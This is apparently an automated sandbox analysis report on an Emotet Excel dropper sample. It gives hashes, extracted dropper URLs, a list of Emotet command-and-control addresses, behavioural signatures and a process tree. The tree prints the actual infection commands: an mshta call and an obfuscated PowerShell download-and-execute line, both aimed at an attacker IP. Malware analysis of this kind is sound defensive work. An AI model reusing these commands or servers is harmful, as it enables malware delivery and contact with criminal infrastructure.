emotet | 9775e9dfdcded7728282f1ed0ea9fb063538ac2d5dd6ccca89d817018a77c8f8

Analysis

max time kernel
110s
max time network
148s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 17:04

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General

Target
tmpqsd6oyz3.xls
Size 154KB
Sample220127-vlaemsgbep
SHA256 9775e9dfdcded7728282f1ed0ea9fb063538ac2d5dd6ccca89d817018a77c8f8
MD5 7ead56597c19e19c65af84646ae09cb9
SHA1 4ed643b8a51962b991289a44c11190c720a53ceb
SHA512 3e29146dd3a91dfcfdf8a99fa4f10bf3a216700646ac8d70f315efa63dffdbf6f68316e4de7e4a4339ab97e9fd7b32bfb7c7e39fa65d8b39921ef9f5c486067f
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2460	1480	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
23	2648	mshta.exe
35	4848	powershell.exe
37	4848	powershell.exe
42	5020	rundll32.exe
44	5020	rundll32.exe
45	5020	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1644	rundll32.exe
2340	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Nhmaudauidjdpito\riksfimsvgeql.fgh	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4868	2648	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1480	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4868	WerFault.exe
4868	WerFault.exe
4868	WerFault.exe
4868	WerFault.exe
4868	WerFault.exe
4868	WerFault.exe
4868	WerFault.exe
4868	WerFault.exe
4868	WerFault.exe
4868	WerFault.exe
4868	WerFault.exe
4868	WerFault.exe
4868	WerFault.exe
4868	WerFault.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
5020	rundll32.exe
5020	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4868	WerFault.exe
Token: SeDebugPrivilege	4848	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1480	EXCEL.EXE
1480	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1480	EXCEL.EXE
1480	EXCEL.EXE
1480	EXCEL.EXE
1480	EXCEL.EXE
1480	EXCEL.EXE
1480	EXCEL.EXE
1480	EXCEL.EXE
1480	EXCEL.EXE
1480	EXCEL.EXE
1480	EXCEL.EXE
1480	EXCEL.EXE
1480	EXCEL.EXE
1480	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1480 wrote to memory of 2460	1480	EXCEL.EXE	70
PID 1480 wrote to memory of 2460	1480	EXCEL.EXE	70
PID 2460 wrote to memory of 2648	2460	cmd.exe	72
PID 2460 wrote to memory of 2648	2460	cmd.exe	72
PID 2648 wrote to memory of 4848	2648	mshta.exe	77
PID 2648 wrote to memory of 4848	2648	mshta.exe	77
PID 4848 wrote to memory of 1512	4848	powershell.exe	79
PID 4848 wrote to memory of 1512	4848	powershell.exe	79
PID 1512 wrote to memory of 1644	1512	cmd.exe	80
PID 1512 wrote to memory of 1644	1512	cmd.exe	80
PID 1512 wrote to memory of 1644	1512	cmd.exe	80
PID 1644 wrote to memory of 2340	1644	rundll32.exe	81
PID 1644 wrote to memory of 2340	1644	rundll32.exe	81
PID 1644 wrote to memory of 2340	1644	rundll32.exe	81
PID 2340 wrote to memory of 2896	2340	rundll32.exe	82
PID 2340 wrote to memory of 2896	2340	rundll32.exe	82
PID 2340 wrote to memory of 2896	2340	rundll32.exe	82
PID 2896 wrote to memory of 5020	2896	rundll32.exe	83
PID 2896 wrote to memory of 5020	2896	rundll32.exe	83
PID 2896 wrote to memory of 5020	2896	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpqsd6oyz3.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1480
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zqqw/zaas/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2648
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2648 -s 1664
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4848
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1512
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1644
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2340
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nhmaudauidjdpito\riksfimsvgeql.fgh",hqKovXdQdkeZHd
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2896
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Nhmaudauidjdpito\riksfimsvgeql.fgh",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:5020

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1480-130-0x00007FF832AF0000-0x00007FF832B00000-memory.dmp

Download

memory/1480-128-0x00007FF832AF0000-0x00007FF832B00000-memory.dmp

Download

memory/1480-129-0x00007FF836310000-0x00007FF836320000-memory.dmp

Download

memory/1480-659-0x00007FF836310000-0x00007FF836320000-memory.dmp

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memory/1480-658-0x00007FF836310000-0x00007FF836320000-memory.dmp

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memory/1480-657-0x00007FF836310000-0x00007FF836320000-memory.dmp

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memory/1480-656-0x00007FF836310000-0x00007FF836320000-memory.dmp

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memory/1480-116-0x00007FF836310000-0x00007FF836320000-memory.dmp

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memory/1480-119-0x00007FF836310000-0x00007FF836320000-memory.dmp

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memory/1480-118-0x00007FF836310000-0x00007FF836320000-memory.dmp

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memory/1480-117-0x00007FF836310000-0x00007FF836320000-memory.dmp

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memory/1644-596-0x0000000004EB0000-0x0000000004ED5000-memory.dmp

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memory/2340-608-0x0000000005120000-0x0000000005145000-memory.dmp

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memory/2340-610-0x0000000005180000-0x00000000051A5000-memory.dmp

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memory/2340-600-0x0000000004970000-0x0000000004995000-memory.dmp

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memory/2340-602-0x0000000004E80000-0x0000000004EA5000-memory.dmp

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memory/2340-604-0x0000000004F60000-0x0000000004F85000-memory.dmp

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memory/2340-606-0x00000000050C0000-0x00000000050E5000-memory.dmp

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memory/2340-613-0x0000000005330000-0x0000000005355000-memory.dmp

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memory/2896-612-0x0000000004730000-0x0000000004755000-memory.dmp

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memory/4848-585-0x00000153D7FC6000-0x00000153D7FC8000-memory.dmp

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memory/4848-529-0x00000153F0850000-0x00000153F08C6000-memory.dmp

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memory/4848-349-0x00000153F0530000-0x00000153F056C000-memory.dmp

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memory/4848-276-0x00000153F0160000-0x00000153F0182000-memory.dmp

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memory/4848-275-0x00000153D7FC3000-0x00000153D7FC5000-memory.dmp

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memory/4848-273-0x00000153D7FC0000-0x00000153D7FC2000-memory.dmp

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memory/5020-615-0x00000000030C0000-0x00000000030E5000-memory.dmp

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memory/5020-617-0x0000000004990000-0x00000000049B5000-memory.dmp

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